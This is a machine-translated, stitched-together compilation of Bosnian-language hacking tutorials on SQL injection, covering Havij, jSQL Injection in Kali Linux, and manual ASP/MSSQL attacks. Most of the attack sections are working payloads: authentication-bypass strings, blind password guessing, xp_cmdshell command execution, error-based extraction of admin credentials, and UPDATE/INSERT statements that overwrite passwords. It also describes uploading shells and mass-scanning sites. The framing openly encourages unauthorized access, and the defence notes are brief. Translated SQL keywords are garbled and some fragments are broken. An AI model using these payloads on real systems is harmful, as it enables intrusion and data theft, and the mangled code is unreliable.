Program za sql injekcije. Upute za korištenje jSQL Injection, multifunkcionalnog alata za pronalaženje i iskorištavanje SQL injekcija u Kali Linuxu. Grubo forsiranje hešova pomoću jSQL injekcije

Havij je program koji provjerava ranjivosti web stranice. Najčešće se ne koristi za svoju glavnu svrhu, naime, za ubacivanje SQL injekcija. Zbog toga se alat najčešće klasifikuje kao „hakerski“ softver.

Princip rada

Koristeći ovu aplikaciju, možete izvoditi napade na web servis kako biste promijenili SQL izraz kroz konkantenaciju. Ako je uspješna, injekcija vam omogućava da izmijenite logiku izvršavanja korisničkog zahtjeva kako bi odgovarala vašim potrebama. Često se tokom napada kreira jednostavan otisak prsta baze podataka, nakon čega se iz nje uvoze potrebni podaci, na primjer, korisnička baza podataka ili administratorski račun. Ako postoje ranjivosti, napadač može čak stupiti u interakciju sa Back-end dijelom web aplikacije. Konkretno, takva implementacija omogućava izvršavanje potrebnih komandi na serveru ili pregled potrebnih datoteka na strani domaćina.

Mogućnosti

Havij vam omogućava da sačuvate heševe lozinki i dumpove tabela. Program vam omogućava da izvršite različite vrste injekcija: SQL injekcija zasnovana na grešci, SQL injekcija UNION upita, SQL injekcija složenih upita, slijepa SQL injekcija zasnovana na vremenu i slijepa SQL injekcija bazirana na booleovim vrijednostima. Alat radi sa HTTPS-om i podržava različite tipove DBMS-a: MSAccess, MySQL, Oracle, PostgreSQ, pa čak i Sybase. Ako je potrebno, Havij može raditi u više niti kroz proxy.

Sintaksa ugrađenog koda može se uređivati ​​ručno. Također, prije pokretanja napada, dozvoljeno vam je da odaberete listu pretraživanih ključnih riječi, kolona tablice ili tipova podataka (na primjer, cijeli brojevi ili razlomci).

Tokom rada, Havij vodi detaljan dnevnik izvršenih operacija, koji se nakon završetka napada čuva u programskoj fascikli. Interfejs aplikacije je prilično intuitivan, a sve glavne kontrole staju u jedan prozor.

Ključne karakteristike

  • izvođenje SQL injekcija sa potrebnom sintaksom;
  • podrška različitim opcijama implementacije;
  • traženje ranjivosti web stranice i aplikacija;
  • sposobnost rada sa različitim tipovima DBMS-a;
  • HTTPS i podrška za proxy.

SQL injekcija prilično dobra prilika za hakera
pristup serveru. I uz malo truda, on
jos uvek shvatam :)

Koder unutra

Danas je podržan rad sa bazama podataka
gotovo svi programski jezici, oni uključuju BASIC, C++, Java, PERL, PHP, Assembler, pa čak i JavaScript! A ti programi se ne zovu ništa drugo do DBMS - sistemi za upravljanje bazom podataka. Baze podataka se često koriste za rješavanje finansijskih problema,
računovodstva, kadrovske organizacije, ali su svoju primjenu našli i na internetu.

Baze podataka se često koriste za pisanje WEB aplikacija. Njihova upotreba je najprikladnija za pohranjivanje podataka o registraciji korisnika, identifikatora sesije, organiziranje pretraživanja, kao i druge zadatke koji zahtijevaju više obrade
količina podataka. Za pristup bazi podataka koriste se serverske tehnologije: PHP, PERL, ASP itd. Ovdje zabava počinje. Kada je na serveru
sve zakrpe su instalirane i firewall blokira sve portove osim porta 80 ili kada je potrebna autentifikacija za pristup nekim podacima, haker može koristiti SQL Injection za hakiranje. Suština ovog napada je da se iskoristi greška na raskrsnici WEB tehnologija i SQL-a. Činjenica je da mnoge web stranice za obradu korisničkih podataka čine posebne SQL zahtjev baze podataka. Nepažljivo korištenje ove tehnike može dovesti do prilično zanimljivih rezultata...

SQL injekcija

Da objasnimo napad, zamislimo da ste otišli na stranicu da preuzmete jedan vrlo važan alat i sa užasom primijetili da samo registrovani korisnik to može učiniti, a registracija naravno košta :) Ne želite dati vaš posljednji zarađeni novac, ali ne možete to učiniti bez programa! Vrijeme je da se prisjetimo kako
pristup bazama podataka SQL. Na primjer, provjera vaše prijave i lozinke u PHP-u može izgledati ovako:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" I
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTENTIKACIJA OK
}
ostalo
{
// GREŠKA AUTHENTIKACIJE
}

Dodao sam dva komentara, "AUTHENTICATION OK" - umjesto toga trebao bih
idite na kod koji će se izvršiti ako su lozinka i prijava ispravni. Druga "GREŠKA AUTHENTIKACIJE" je mjesto gdje će biti opisan kod koji će se izvršiti ako je netačan. Ako popunite formular, zahtjev će izgledati kao “http://www.server.com?login=user&password=31337”, gdje je www.server.com naziv
server na koji se pokušavamo povezati. Našli smo ono što smo tražili i stoga ćemo se ponovo vratiti na posao SQL. Dakle, ako morate navesti login i lozinku za autorizaciju, onda generirana SQL zahtjev će izgledati ovako:

SELECT * FROM users WHERE login="korisnik" I
lozinka="31337"

To znači otprilike ovako: vrati mi sve zapise iz baze podataka korisnika čiji je login “user” i lozinka je “31337”. Ako takav zapis postoji, onda je korisnik registrovan, a ako ne, onda ne... Ali pod određenim okolnostima sve se može ispraviti. To se odnosi na situaciju kada aplikacija ne provjerava sadržaj prenesenih podataka ili ga ne provjerava u potpunosti na prisutnost SQL instrukcije. U ovom primjeru su provjerena dva polja za prijavu i lozinku, ali ako navedete “31337” I email=" [email protected]"(bez dvostrukih navodnika), tada će upit ispasti malo drugačiji:

SELECT * FROM users WHERE login="korisnik" I lozinka="31337" I
email=" [email protected]"

A ako polje e-pošte postoji, ovaj uvjet će također biti provjeren. Ako se sjetite osnova Booleove algebre, pada vam na pamet da pored operacije "i" postoji i "ili", a pošto je njihovo korištenje podržano od strane SQL-a, možete
na opisani način dodajte uslov koji uvijek vraća true. Da biste to učinili, morate navesti “korisnik” ILI 1=1-- kao prijavu, u kom slučaju će zahtjev imati oblik:

SELECT * FROM users WHERE login="korisnik" ILI 1=1--" I
lozinka="31337"

Prvo trebate znati da "--" znači kraj zahtjeva, a sve nakon "--"
neće biti obrađeno! Ispostavilo se da smo postavili zahtjev:

SELECT * FROM users WHERE login="user" OR 1=1

Kao što vidite, dodali smo uslov „1=1“, što znači da će kriterijum verifikacije biti „ako je prijava „korisnik“ ili 1=1“, ali je 1 uvek jednako 1 (jedini izuzetak može biti aritmetika Danija Šepovalova :)). Da testiramo naše sumnje
Unesite "http://www.server.com?login=user ili 1=1--&password=31337" u adresnu traku. To dovodi do toga da nije bitno koji smo login naveli, već
posebno šifra! A mi smo u matrici, u sistemu i možemo mirno da preuzimamo ono što nam treba.

Ali ovo je sve u teoriji. U praksi ne znamo kako se formira zahtjev, koji se podaci prenose i kojim redoslijedom. Stoga morate navesti "korisnik" ILI 1=1--" za sva polja. Također biste trebali provjeriti skrivena polja u obrascu za podnošenje. U HTML-u su opisana kao " ". Ako postoje, sačuvajte stranicu i promijenite vrijednosti ovih polja. Vrijednosti sadržane u njima se često zaboravljaju provjeriti na prisustvo SQL izraza. Ali da bi sve funkcioniralo, trebali biste navesti punu put do skripte u formi (oznaka "FORM") za parametar "ACTION" koji obrađuje ovaj zahtjev.

Ali nije uvijek poznato kako je zahtjev formiran,
Prethodni primjer bi se mogao formirati na sljedeće načine:

ODABIR * OD korisnika GDJE (login="korisnik" I lozinka="31337")
SELECT * FROM users WHERE login="korisnik" I lozinka="31337"
SELECT * FROM users WHERE login=korisnik I lozinka=31337

U tom slučaju možete isprobati sljedeće opcije:

"ILI 1=1--
"ILI 1=1--
ILI 1=1--
" ILI "a"="a
" ILI "a"="a
") ILI ("a"="a
ILI "1"="1"

Sve zavisi od svrhe skripte i od programera. Budući da svaka osoba ima tendenciju da sve radi na svoj način, sasvim je moguće da programer neće izabrati najlakšu opciju. Stoga ne bi trebalo odmah
odustani ako budeš odbijen. Neophodno
probaj sto vise opcija...

Otkrivanje lozinke

Zaobilaženje autorizacije nije loše, ali vrlo često se rupa koju koristite zatvori i izgubi sve što vam je bilo dostupno.
Ovo je za očekivati ​​ako programer nije budala
Vremenom će zatvoriti sve rupe. Takvih situacija se lako možete riješiti ako se o tome unaprijed pobrinete. Ispravno rješenje može biti pogoditi lozinku koristeći
analiza rezultata autentifikacije. Prvo, pokušajmo pogoditi lozinku, da biste to učinili, unesite njenu lokaciju:

"ILI lozinka>" a

Ako nam se kaže da je autorizacija prošla, onda lozinka
ne počinje slovom "a", već jednim od sljedećih na listi. Idemo dalje i zamijenimo
mesto "a", sledeće "b", "c", "d", "e"... itd. dok nam ne kažu da lozinka nije tačna. Neka se ovaj proces zaustavi na znaku “x”, u ovom slučaju se stvaraju dvije opcije za razvoj situacije: lozinka je pronađena ili lozinka počinje ovim znakom. Da biste provjerili prvu opciju, upišite lokaciju lozinke:

"ILI lozinka="x

i ako je lozinka prihvaćena i dozvoljeno vam je da uđete, onda ste pogodili lozinku! Pa, ne, onda bi trebalo da izaberete drugi znak,
potpuno isto, od početka. Provjerite ima li dva znaka
treba isto. Na kraju ćete dobiti lozinku, a na isti način ćete tražiti i login :)
Ako vam pronađena lozinka i prijava ne odgovaraju, možete pronaći druge. Da biste to učinili, morate započeti provjeru od posljednjeg znaka pronađene lozinke. Dakle, ako je lozinka bila "xxx" potrebno je provjeriti postojanje lozinke
"xxxy":

"ILI lozinka="xxx

kako ne biste propustili više od jedne opcije!

MS SQL Server

MS SQL Server je općenito božji dar ako se propusti potrebno filtriranje. Koristeći ranjivost SQL Injection koju možete izvršiti
komande na udaljenom serveru koristeći exec master..xp_cmdshell. Ali koristiti ovaj dizajn
operacija SELECT mora biti dovršena. U SQL-u su izrazi odvojeni tačkom i zarezom. Stoga, da biste se povezali na neki IP putem Telneta, morate upisati lozinku/login:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL Server ima još nekoliko zanimljivih funkcija koje vam omogućavaju da saznate prijave i lozinke pohranjene u bazi podataka. Da biste to učinili, izlaz greške se preusmjerava na proizvoljni server i preko njega
analize, možete saznati naziv tabele, polja i njihove tipove. Nakon toga možete zatražiti

" UNION SELECT TOP 1 prijava OD korisnika--

(login je ime polja koje sadrži login, a korisnici je ime tabele,
poluznanstvenici u procesu analize grešaka).

Odgovor bi mogao biti:


Sintaksička greška pri pretvaranju vrijednosti nvarchar "admin" to a column of data type int. !}
/default.asp, red 27

Sada znamo da postoji korisnik po imenu "admin". Sada možemo dobiti njegovu lozinku:

" UNION SELECT TOP 1 lozinka OD korisnika gdje login="admin"--

rezultat:

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "xxx" to a column of data type int. !}
/tedault.asp, red 27

Sada znamo da postoji korisnik "admin" sa lozinkom "xxx". Sa ovim možete bezbedno
iskoristite ga i prijavite se na sistem 😉

Ali postoje mnoge druge funkcije za rad sa SQL-om,
Kada radite s bazom podataka, također možete brisati podatke, mijenjati ih, umetati svoje, pa čak i manipulirati datotekama i raditi s registrom.
Generalno, pravila SQL Servera :)

Zaštita

Ali naravno da se sve ovo može izbjeći. Da biste to uradili, možete
koristiti filtere,
koje obezbjeđuju proizvođači. Možete pronaći vlastita rješenja, na primjer, zamjenjujući sve pojedinačne
dvostruki navodniki (ako je za SQL zahtjev koristimo pojedinačne), ili obrnuto. Možete dozvoliti upotrebu slova i s@baki samo ako je potrebno da unesete
e-mail adresa. A u biseru je neverovatno
funkciju 🙂 quote() u DBI::DBD modulu, koja uspješno čini vaš upit sigurnim u odnosu na SQL. Rješenja ima mnogo, samo su vam potrebna
iskoristiti. Inače, čemu onda sve ovo...

Pokrenite preuzetu datoteku dvostrukim klikom (potrebno je imati virtuelnu mašinu).

3. Anonimnost prilikom provjere stranice za SQL injekciju

Postavljanje Tor i Privoxy u Kali Linuxu

[Odjeljak u razvoju]

Postavljanje Tor i Privoxy na Windows

[Odjeljak u razvoju]

Proxy postavke u jSQL injekciji

[Odjeljak u razvoju]

4. Provjera stranice za SQL injekciju s jSQL injekcijom

Rad sa programom je izuzetno jednostavan. Samo unesite adresu web stranice i pritisnite ENTER.

Sljedeći snimak ekrana pokazuje da je stranica ranjiva na tri vrste SQL injekcija (informacije o njima su naznačene u donjem desnom kutu). Klikom na nazive injekcija možete promijeniti korišteni metod:

Također, postojeće baze podataka su nam već prikazane.

Možete pogledati sadržaj svake tabele:

Obično je najzanimljivija stvar u vezi sa tabelama administratorski akreditivi.

Ako imate sreće i nađete podatke administratora, onda je prerano za radovanje. Još uvijek morate pronaći admin panel gdje ćete unijeti ove podatke.

5. Potražite admin panele sa jSQL injekcijom

Da biste to učinili, idite na sljedeću karticu. Ovdje nas dočekuje lista mogućih adresa. Možete odabrati jednu ili više stranica za provjeru:

Pogodnost leži u činjenici da ne morate koristiti druge programe.

Nažalost, nema mnogo nemarnih programera koji čuvaju lozinke u čistom tekstu. Vrlo često u redu lozinke vidimo nešto slično

8743b52063cd84097a65d1633f5c74f5

Ovo je heš. Možete ga dešifrirati koristeći grubu silu. I... jSQL Injection ima ugrađeni brute forcer.

6. Brute force hashovi koristeći jSQL Injection

Nesumnjiva pogodnost je što ne morate tražiti druge programe. Postoji podrška za mnoge od najpopularnijih hashova.

Ovo nije najbolja opcija. Da biste postali guru u dekodiranju heševa, preporučuje se Knjiga “” na ruskom.

Ali, naravno, kada nema drugog programa pri ruci ili nema vremena za učenje, jSQL Injection sa svojom ugrađenom funkcijom grube sile će dobro doći.

Postoje postavke: možete podesiti koji znakovi su uključeni u lozinku, raspon dužine lozinke.

7. Operacije datoteka nakon otkrivanja SQL injekcija

Osim operacija s bazama podataka - čitanje i modificiranje istih, ako se otkriju SQL injekcije, mogu se izvršiti sljedeće operacije s datotekama:

  • čitanje datoteka na serveru
  • učitavanje novih fajlova na server
  • učitavanje školjki na server

I sve je to implementirano u jSQL Injection!

Postoje ograničenja - SQL server mora imati privilegije datoteka. Pametni sistemski administratori su ih onemogućili i neće moći pristupiti sistemu datoteka.

Prisutnost privilegija datoteka je prilično jednostavno provjeriti. Idite na jednu od kartica (čitanje datoteka, kreiranje ljuske, učitavanje nove datoteke) i pokušajte izvršiti jednu od navedenih operacija.

Još jedna vrlo važna napomena - moramo znati tačnu apsolutnu putanju do datoteke sa kojom ćemo raditi - inače ništa neće raditi.

Pogledajte sljedeći snimak ekrana:

Na svaki pokušaj rada na fajlu, primamo sljedeći odgovor: Nema privilegija FILE(bez privilegija datoteka). I tu se ništa ne može učiniti.

Ako umjesto toga imate drugu grešku:

Problem sa pisanjem u [directory_name]

To znači da ste pogrešno naveli apsolutnu putanju na koju želite da upišete datoteku.

Da biste pogodili apsolutnu putanju, morate barem znati operativni sistem na kojem server radi. Da biste to učinili, prijeđite na karticu Mreža.

Takav zapis (red Win64) daje nam razloga da pretpostavimo da imamo posla sa Windows OS:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 Veza: Keep-Alive Metod: HTTP/1.1 200 OK Dužina sadržaja: 353 Datum: pet, 11. decembar 2015. 11:48:31 GMT X-Powered-By: PHP/7.0.0RC6 Content-Type: text/html; charset=UTF-8

Ovdje imamo neki Unix (*BSD, Linux):

Transfer-Encoding: chunked Datum: pet, 11. decembar 2015. 11:57:02 GMT Metoda: HTTP/1.1 200 OK Keep-Alive: timeout=3, max=100 Veza: keep-alive Content-Type: text/html X- Powered-By: PHP/5.3.29 Server: Apache/2.2.31 (Unix)

I ovdje imamo CentOS:

Metoda: HTTP/1.1 200 OK Ističe: Čet, 19. novembar 1981. 08:52:00 GMT Set-Cookie: PHPSESSID=9p60gtunrv7g41iurr814h9rd0; path=/ Veza: Keep-alive X-Cache-Lookup: MISS sa t1.hoster.ru:6666 Server: Apache/2.2.15 (CentOS) X-Powered-By: PHP/5.4.37 X-Cache: MISS od t1.hoster.ru Cache-Control: nema skladištenja, nema predmemorije, mora se ponovo potvrditi, post-check=0, pre-check=0 Pragma: nema predmemorije Datum: pet, 11. decembar 2015. 12:08:54 GMT Transfer-Encoding: chunked Content-Type: text/html; charset=WINDOWS-1251

Na Windows-u, tipičan folder za web lokacije je C:\Server\data\htdocs\. Ali, u stvari, ako je neko "smislio" da napravi server na Windows-u, onda, vrlo verovatno, ta osoba nije čula ništa o privilegijama. Stoga, trebali biste početi pokušavati direktno iz C:/Windows/ direktorija:

Kao što vidite, prvi put je sve prošlo kako treba.

Ali same ljuske za jSQL injekciju izazivaju sumnje u mom umu. Ako imate privilegije za fajlove, onda možete lako da otpremite nešto preko web interfejsa.

8. Grupna provjera lokacija za SQL injekcije

Čak je i ova funkcija dostupna u jSQL injekciji. Sve je krajnje jednostavno - preuzmite listu stranica (možete uvesti iz datoteke), odaberite one koje želite provjeriti i kliknite na odgovarajuće dugme da započnete operaciju.

Zaključak iz jSQL injekcije

jSQL Injection je dobar, moćan alat za pretraživanje i zatim korištenje SQL injekcija koje se nalaze na web stranicama. Njegove nesumnjive prednosti: jednostavnost korištenja, ugrađene povezane funkcije. jSQL Injection može biti najbolji prijatelj početnika kada analizira web stranice.

Među nedostacima bih istakao nemogućnost uređivanja baza podataka (barem ja nisam pronašao ovu funkcionalnost). Kao i kod svih GUI alata, jedan od nedostataka ovog programa može se pripisati njegovoj nemogućnosti da se koristi u skriptama. Ipak, moguća je i određena automatizacija u ovom programu - zahvaljujući ugrađenoj funkciji masovne provjere lokacije.

jSQL Injection program je mnogo praktičniji za korištenje od sqlmap-a. Ali sqlmap podržava više tipova SQL injekcija, ima opcije za rad sa zaštitnim zidovima datoteka i neke druge funkcije.

Zaključak: jSQL Injection je najbolji prijatelj hakera početnika.

Pomoć za ovaj program u Kali Linux Enciklopediji možete pronaći na ovoj stranici: http://kali.tools/?p=706

SQL Injekcija za lutke, hakovanje ASP+MSSQL

Aleksandar Antipov

Ovaj članak ne sadrži nikakve nove istine. SQL injekcija je široko opisana i svuda se koristi. Članak je više namijenjen početnicima, ali možda će profesionalci moći pronaći jedan ili dva nova trika.


Ovaj članak je namijenjen da pomogne početnicima da se izbore s problemima na koje mogu naići kada koriste tehniku ​​SQL Injection, uspješno je koriste i mogu se zaštititi od takvih napada.

Uvod

Kada server od interesa ima otvoren samo port 80, a skener ranjivosti ne može prijaviti ništa zanimljivo, a znate da administrator sistema uvijek vrlo brzo instalira sve zakrpe na web serveru, naša posljednja šansa je web hakovanje. SQL injekcija je jedna od vrsta web hakovanja koja koristi samo port 80 i može raditi čak i sa pravovremenim zakrpama. Ovaj napad je više usmjeren na web aplikacije (kao što su ASP, JSP, PHP, CGI, itd.) nego direktno na web server ili servise u OS-u.

Ovaj članak ne sadrži nikakve nove istine. SQL injekcija je naširoko opisana i svuda se koristi. Članak je više namijenjen početnicima, ali možda će profesionalci moći pronaći jedan ili dva nova trika. Također preporučujem da provjerite veze na kraju članka za detaljnije informacije od stručnjaka iz ove oblasti.

1.1 Šta je SQL injekcija?

SQL Injection je metoda dizajnirana za ubacivanje SQL upita/naredbi kroz web stranice. Mnoge web stranice koriste parametre predstavljene web korisnicima i prave SQL upit bazi podataka. Uzmimo za primjer slučaj prijave korisnika, kada postoji web stranica sa imenom i lozinkom i u bazi se pravi SQL upit da se provjeri postoji li registrirani korisnik s tim imenom i lozinkom. Koristeći SQL Injection moguće je poslati izmišljeno polje korisničkog imena i/ili lozinke koje modificira SQL upit, što nam može dati neke zanimljive stvari.

2.0 Šta treba da tražimo

Pokušajte pronaći stranice koje od vas traže podatke, kao što su stranica za pretraživanje, stranica za diskusiju, itd. Ponekad html stranice koriste metodu POST za slanje komandi drugoj web stranici. U ovom slučaju nećete vidjeti parametre u URL-u. Međutim, u ovom slučaju možete potražiti oznaku "FORM" u HTML izvornom kodu stranica. Naći ćete nešto poput ovoga:



Svi parametri između

I
potencijalno bi mogao biti ranjiv na SQL injekciju.

2.1 Šta ako ne pronađete stranicu koja koristi unos?

Potražite stranice poput ASP, JSP, CGI ili PHP web stranica. Pokušajte pronaći stranice koje koriste parametre kao što su:

3.0. Kako mogu provjeriti da je ono što sam pronašao ranjivo?

Pokušajte početi s jednim citatom. Unesite sljedeći red:

zdravo" ili 1=1--

u polju korisničkog imena ili lozinke, ili čak u URL parametru. primjer:

Prijava: bok" ili 1=1--
Prolaz: zdravo" ili 1=1--
http://duck/index.asp?id=hi" ili 1=1--

Ako ste to učinili sa skrivenim poljem, samo preuzmite originalni HTML, spremite ga na tvrdi disk, promijenite URL i skriveno polje u skladu s tim. primjer:



Ako je sreća na vašoj strani, moći ćete se prijaviti bez korisničkog imena ili lozinke.

3.1 Ali zašto " ili 1=1--?

Pogledajmo još jedan primjer koji objašnjava korisnost konstrukcije " ili 1=1--. Osim zaobilaženja registracije, možemo pogledati i dodatne informacije koje obično nisu dostupne. Razmislite o asp stranici koja povezuje na drugu stranicu sa sljedeći URL:

http://duck/index.asp?category=food

U URL-u, "kategorija" je ime varijable, a "hrana" je vrijednost koja je dodijeljena toj varijabli. Da biste to učinili, asp stranica može sadržavati sljedeći kod:

v_cat = zahtjev("kategorija")
sqlstr="ODABIR * IZ proizvoda GDJE PCategory="" & v_cat & """
postavi rs=conn.execute(sqlstr)

kao što vidite, naša varijabla će biti kombinovana sa v_cat i tako bi SQL upit trebao postati:

ODABIR * IZ proizvoda GDJE PCategory="hrana"

Ovaj upit mora vratiti skup koji sadrži jedan ili više redova koji odgovaraju klauzuli WHERE, u ovom slučaju "hrana". Sada promijenimo URL na sljedeći način:

http://duck/index.asp?category=food" ili 1=1--
ODABIR * IZ proizvoda GDJE PCategory="hrana" ili 1=1--‘

Ovaj upit će vratiti sve redove u tabeli proizvoda, bez obzira da li je Pcategory "hrana" ili ne. Dvostruka crtica "-" govori MS SQL Serveru da zanemari ostatak upita koji slijedi nakon jednostrukog navodnika ("). Ponekad možete zamijeniti dvostruku crticu oštrim "#".

Međutim, ako koristite ne-SQL server ili ne možete zanemariti ostatak upita, pokušajte:

" ili "a"="a

Sada će SQL upit postati:

ODABERITE * IZ proizvoda GDJE PCategory="hrana" ili "a"="a"

Ovaj upit će vratiti isti rezultat.

Ovisno o stvarnom SQL upitu, možda ćete morati isprobati neke od ovih mogućnosti:

"ili 1=1--
"ili 1=1--
ili 1=1--
" ili "a"="a
" ili "a"="a
") ili ("a"="a

4.0 Kako mogu daljinski izvršiti komande koristeći SQL injekciju?

Mogućnost unosa SQL naredbe obično znači da možemo izvršavati SQL upite po želji. Podrazumevana instalacija MS SQL Servera radi sa sistemskim pravima. Možemo pozvati ugrađene procedure kao što je master..xp_cmdshell za daljinsko izvršavanje proizvoljnih naredbi:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Pokušajte koristiti dvostruke navodnike (") ako (") ne radi.

Tačka i zarez će završiti trenutni SQL upit i omogućiti vam pokretanje novih SQL naredbi. Da biste provjerili da li je naredba bila uspješna, možete provjeriti ICMP pakete u 10.10.1.2 da vidite sadrže li pakete sa ranjivog servera:

http://site/?ID=31610

Ako ne primite nikakav ping zahtjev od servera, a primite poruku o grešci koja ukazuje na grešku u dozvoli, moguće je da je administrator ograničio pristup web korisnika pohranjenim procedurama.

5.0 Kako da dobijem rezultate svog SQL upita?

Možete koristiti sp_makewebtask da napišete svoj zahtjev u HTML-u:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * IZ INFORMATION_SCHEMA.TABLES"

Navedena IP adresa mora imati folder "share" sa pristupom za sve.

6.0 Kako dohvatiti podatke iz baze podataka koristeći ODBC poruke o grešci?

Možemo koristiti informacije iz poruke o grešci koju je proizveo SQL server da dohvatimo bilo koje podatke. Na primjer, razmotrite sljedeću stranicu:

http://duck/index.asp?id=10

Sada ćemo pokušati spojiti cijeli broj '10' s drugim redom u bazi podataka:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME IZ INFORMATION_SCHEMA.TABLES--

Sistemska tablica INFORMATION_SCHEMA.TABLES sadrži informacije iz svih tablica na poslužitelju.

Polje TABLE_NAME očigledno sadrži naziv svake tabele u bazi podataka. Izabran je jer znamo da uvijek postoji. Naš zahtjev:

ODABERITE TOP 1 TABLE_NAME IZ INFORMATION_SCHEMA.TABLES--

Ovaj upit će vratiti prvo ime u bazi podataka. Kada ovu vrijednost stringa objedinimo u cijeli broj 10, MS SQL Server će pokušati konvertirati nvarchar string u cijeli broj. Ovo će prikazati grešku koja kaže da ne može pretvoriti nvarchar u int. Server će prikazati sljedeću grešku:


Sintaksička greška pri pretvaranju vrijednosti nvarchar "table1" to a column of data type int. !}
/index.asp, red 5

Poruka o grešci sadrži informacije o vrijednosti koja se ne može pretvoriti u cijeli broj. U ovom slučaju, dobili smo ime prve tabele - "table1".

Da bismo dobili ime sljedeće tablice, možemo koristiti sljedeći upit:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME IZ INFORMATION_SCHEMA.TABLES GDJE TABLE_NAME NIJE U ("table1")--

Također možemo pretraživati ​​podatke pomoću tipke LIKE:

http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME IZ INFORMATION_SCHEMA.TABLES GDJE TABLE_NAME KAO "%25login%25"--

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07" Sintaksička greška pri pretvaranju vrijednosti nvarchar "admin_login" to a column of data type int. !} /index.asp, red 5

Odgovarajuća konstrukcija "%25login%25" će biti zamijenjena sa %login% u SQL serveru. U ovom slučaju, dobićemo ime tabele koje odgovara kriterijumu "admin_login".

6.1 Kako mogu saznati sve nazive kolona u tabeli?

Možemo koristiti tablicu INFORMATION_SCHEMA.COLUMNS za prikaz svih naziva stupaca u tablici:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME IZ INFORMACIONE_SHEMA.COLUMNS GDJE TABLE_NAME="admin_login"-

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "login_id" to a column of data type int. !}
/index.asp, red 5

Sada kada znamo ime prve kolone, možemo koristiti NOT IN() da dobijemo ime sljedeće kolone:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME IZ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" GDJE COLUMN_NAME NIJE U ("login_id")-

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "login_name" to a column of data type int. !}
/index.asp, red 5

Nastavljajući, dobićemo imena preostalih kolona, ​​tj. "password", "details" dok ne dobijemo sljedeću grešku.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME IZ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" GDJE COLUMN_NAME NIJE U ("login_id","login_name","password",details")--

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e14"
Stavke ORDER BY moraju se pojaviti na listi odabira ako izraz sadrži UNION operator.
/index.asp, red 5

6.2. Kako dolazimo do podataka koji su nam potrebni?

Sada kada smo identifikovali neke važne tabele, možemo koristiti istu tehniku ​​za preuzimanje informacija iz baze podataka.

Uzmimo prvo login_name iz tabele "admin_login":

http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "neo" to a column of data type int. !}
/index.asp, red 5

Sada znamo da postoji korisnik administrator sa imenom "neo". Konačno možemo dobiti lozinku "neo":

http://duck/index.asp?id=10 UNION SELECT TOP 1 lozinka IZ admin_login gdje login_name="neo"--

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "m4trix" to a column of data type int. !}
/index.asp, red 5

Sada ćemo se moći prijaviti kao "neo" sa lozinkom "m4trix".

6.3 Kako dobiti numeričku vrijednost stringa?

Gore opisana metoda ima ograničenja. Nećemo moći dobiti poruku o grešci ako pokušamo da konvertujemo tekst koji se sastoji od broja (samo znakova između 0...9). Sada ćemo opisati dobijanje lozinke "31173" od korisnika "trinity":

http://duck/index.asp?id=10 UNION SELECT TOP 1 lozinka IZ admin_login gdje login_name="trinity"--

Vjerovatno ćemo dobiti grešku "Stranica nije pronađena". Razlog je taj što će lozinka "31173" biti pretvorena u broj, prije UNION sa cijelim brojem (u našem slučaju 10). Budući da je izraz UNION ispravan, SQL server neće generirati poruku o grešci i stoga nećemo moći dobiti numerički zapis.

Da bismo riješili ovaj problem, možemo dodati niz brojeva na kraju s nekim slovima kako bismo spriječili konverziju. Izmijenjen zahtjev:

http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b"%20morpheus") IZ admin_login gdje login_name="trinity"--

Jednostavno koristimo znak plus (+) za dodavanje lozinke uz bilo koji tekst (ASSCII kodiranje za "+" = 0x2b). Zatim ćemo dodati "%20morpheus" na kraj stvarne lozinke. Dakle, čak i ako je vrijednost lozinke "31173", ona će postati "31173 morpheus". Ručnim pozivanjem funkcije convert() pokušavajući pretvoriti "31173 morpheus" u cijeli broj, SQL Server će izbaciti ODBC poruku o grešci:

Greška Microsoft OLE DB dobavljača za ODBC drajvere "80040e07"
Sintaksička greška pri pretvaranju vrijednosti nvarchar "31173 morpheus" to a column of data type int. !}
/index.asp, red 5

Sada ćemo se moći prijaviti kao "trinity" sa lozinkom "31173".

7.0 Kako modificirati/ubaciti podatke u bazu podataka?

Kada dobijemo imena svih po kolonama u tabeli, možemo ažurirati (UPDATE) ili čak umetnuti (INSERT) novi zapis u tabelu. Na primjer, možemo promijeniti lozinku za "neo":

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" GDJE login_name="neo--

Za UMETANJE novog zapisa u bazu podataka:

http://duck/index.asp?id=10; UMETNI U "admin_login" ("login_id", "login_name", "password", "details") VRIJEDNOSTI (666,"neo2","newpas5","NA")--

Sada ćemo se moći prijaviti kao "neo" sa lozinkom "newpas5".

8.0 Kako izbjeći SQL injekciju?

Filtrirajte posebne znakove u svim redovima u:

Svi podaci koje unese korisnik
- URL parametri
- Kolačić

